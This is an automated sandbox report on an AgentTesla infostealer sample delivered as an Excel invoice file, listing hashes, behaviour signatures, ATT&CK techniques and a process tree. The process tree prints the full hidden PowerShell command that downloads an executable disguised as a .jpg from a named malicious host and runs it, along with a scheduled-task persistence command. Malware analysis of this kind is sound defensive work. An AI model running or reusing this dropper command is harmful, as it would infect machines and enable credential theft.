agenttesla | 4eaaf544257b0465bb8acff69b987abf00bd19a32fbc45bc0e57b8c66244553a

General

Target

INV+PL+BL-489492020.xls
Size

192KB
MD5

b379714e8daaf2673032f31b2a6abb07
SHA1

b4f97dceff91b030a76dd19e45b91826fd382e86
SHA256

4eaaf544257b0465bb8acff69b987abf00bd19a32fbc45bc0e57b8c66244553a
SHA512

11e3989a2641872fb9a08f9d6d6af330eab9cc4c28a84b6801cfe91c56bc5c7fc224265e2afc6661a96cd8b71bd7298e53ae6b3440b4048600c15d131e6db6a4

Score

10^/10

spyware keylogger trojan stealer agenttesla

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper

http://crogtrt.com/i7/15601277.jpg

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process	452	608	cmd.exe	EXCEL.EXE

Loads dropped DLL 1 IoCs

Processes:

dfge.exe

pid process

1312 dfge.exe
Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware

Data from Local System
T1005

Credentials in Files
T1081
Office loads VBA resources, possible macro or embedded object present
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware

Data from Local System
T1005

Credentials in Files
T1081
Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
spyware

Data from Local System
T1005

Credentials in Files
T1081
AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
keylogger trojan stealer spyware agenttesla
Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

608 EXCEL.EXE

pid	process
1312	dfge.exe

pid	process
608	EXCEL.EXE

Suspicious use of WriteProcessMemory 23 IoCs

Processes:

EXCEL.EXEcmd.exepowershell.exedfge.exe

description	pid	process	target process
PID 608 wrote to memory of 452	608	EXCEL.EXE	cmd.exe
PID 608 wrote to memory of 452	608	EXCEL.EXE	cmd.exe
PID 608 wrote to memory of 452	608	EXCEL.EXE	cmd.exe
PID 452 wrote to memory of 296	452	cmd.exe	powershell.exe
PID 452 wrote to memory of 296	452	cmd.exe	powershell.exe
PID 452 wrote to memory of 296	452	cmd.exe	powershell.exe
PID 296 wrote to memory of 1312	296	powershell.exe	dfge.exe
PID 296 wrote to memory of 1312	296	powershell.exe	dfge.exe
PID 296 wrote to memory of 1312	296	powershell.exe	dfge.exe
PID 296 wrote to memory of 1312	296	powershell.exe	dfge.exe
PID 1312 wrote to memory of 1832	1312	dfge.exe	schtasks.exe
PID 1312 wrote to memory of 1832	1312	dfge.exe	schtasks.exe
PID 1312 wrote to memory of 1832	1312	dfge.exe	schtasks.exe
PID 1312 wrote to memory of 1832	1312	dfge.exe	schtasks.exe
PID 1312 wrote to memory of 1888	1312	dfge.exe	dfge.exe
PID 1312 wrote to memory of 1888	1312	dfge.exe	dfge.exe
PID 1312 wrote to memory of 1888	1312	dfge.exe	dfge.exe
PID 1312 wrote to memory of 1888	1312	dfge.exe	dfge.exe
PID 1312 wrote to memory of 1888	1312	dfge.exe	dfge.exe
PID 1312 wrote to memory of 1888	1312	dfge.exe	dfge.exe
PID 1312 wrote to memory of 1888	1312	dfge.exe	dfge.exe
PID 1312 wrote to memory of 1888	1312	dfge.exe	dfge.exe
PID 1312 wrote to memory of 1888	1312	dfge.exe	dfge.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

powershell.exedfge.exedfge.exe

description pid process

Token: SeDebugPrivilege 296 powershell.exe
Token: SeDebugPrivilege 1312 dfge.exe
Token: SeDebugPrivilege 1888 dfge.exe
Suspicious use of SetThreadContext 1 IoCs

Processes:

dfge.exe

description pid process target process

PID 1312 set thread context of 1888 1312 dfge.exe dfge.exe
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exe

pid process

1832 schtasks.exe
Suspicious use of SetWindowsHookEx 4 IoCs

Processes:

EXCEL.EXEdfge.exe

pid process

608 EXCEL.EXE
608 EXCEL.EXE
608 EXCEL.EXE
1888 dfge.exe
Suspicious behavior: EnumeratesProcesses 5 IoCs

Processes:

powershell.exedfge.exedfge.exe

pid process

296 powershell.exe
296 powershell.exe
1312 dfge.exe
1888 dfge.exe
1888 dfge.exe
Blacklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

5 296 powershell.exe
Executes dropped EXE 2 IoCs

Processes:

dfge.exedfge.exe

pid process

1312 dfge.exe
1888 dfge.exe

description	pid	process
Token: SeDebugPrivilege	296	powershell.exe
Token: SeDebugPrivilege	1312	dfge.exe
Token: SeDebugPrivilege	1888	dfge.exe

description	pid	process	target process
PID 1312 set thread context of 1888	1312	dfge.exe	dfge.exe

pid	process
1832	schtasks.exe

pid	process
608	EXCEL.EXE
608	EXCEL.EXE
608	EXCEL.EXE
1888	dfge.exe

pid	process
296	powershell.exe
296	powershell.exe
1312	dfge.exe
1888	dfge.exe
1888	dfge.exe

flow	pid	process
5	296	powershell.exe

pid	process
1312	dfge.exe
1888	dfge.exe

C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\INV+PL+BL-489492020.xls
1⤵
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of WriteProcessMemory
- Suspicious use of SetWindowsHookEx
PID:608

C:\Windows\system32\cmd.exe
cmd /c powershell.exe -executionpolicy bypass -W Hidden -command (new-object System.Net.WebClient).DownloadFile('http://crogtrt.com/i7/15601277.jpg',$env:Temp+'\dfge.exe');(New-Object -com Shell.Application).ShellExecute($env:Temp+'\dfge.exe')
2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:452

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -executionpolicy bypass -W Hidden -command (new-object System.Net.WebClient).DownloadFile('http://crogtrt.com/i7/15601277.jpg',$env:Temp+'\dfge.exe');(New-Object -com Shell.Application).ShellExecute($env:Temp+'\dfge.exe')
3⤵
- Suspicious use of WriteProcessMemory
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
- Blacklisted process makes network request
PID:296

C:\Users\Admin\AppData\Local\Temp\dfge.exe
"C:\Users\Admin\AppData\Local\Temp\dfge.exe"
4⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Executes dropped EXE
PID:1312

C:\Windows\SysWOW64\schtasks.exe
"C:\Windows\System32\schtasks.exe" /Create /TN "Updates\LnqbjYKeoN" /XML "C:\Users\Admin\AppData\Local\Temp\tmpA949.tmp"
5⤵
- Creates scheduled task(s)
PID:1832

C:\Users\Admin\AppData\Local\Temp\dfge.exe
"{path}"
5⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious behavior: EnumeratesProcesses
- Executes dropped EXE
PID:1888

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

1

T1053

Persistence

Scheduled Task

1

T1053

Privilege Escalation

Scheduled Task

1

T1053

Defense Evasion

Credential Access

Credentials in Files

3

T1081

Discovery

Lateral Movement

Collection

Data from Local System

3

T1005

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\dfge.exe

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C:\Users\Admin\AppData\Local\Temp\dfge.exe

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C:\Users\Admin\AppData\Local\Temp\dfge.exe

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C:\Users\Admin\AppData\Local\Temp\tmpA949.tmp

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\Users\Admin\AppData\Local\Temp\dfge.exe

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memory/296-2-0x0000000000000000-mapping.dmp

Download
memory/452-1-0x0000000000000000-mapping.dmp

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memory/608-0-0x0000000006940000-0x0000000006A40000-memory.dmp

Filesize
1024KB

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memory/1312-3-0x0000000000000000-mapping.dmp

Download
memory/1312-7-0x0000000000000000-0x0000000000000000-disk.dmp

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memory/1832-8-0x0000000000000000-mapping.dmp

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memory/1888-11-0x0000000000400000-0x000000000044C000-memory.dmp

Filesize
304KB

Download
memory/1888-12-0x0000000000446DAE-mapping.dmp

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memory/1888-14-0x0000000000400000-0x000000000044C000-memory.dmp

Filesize
304KB

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memory/1888-15-0x0000000000400000-0x000000000044C000-memory.dmp

Filesize
304KB

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Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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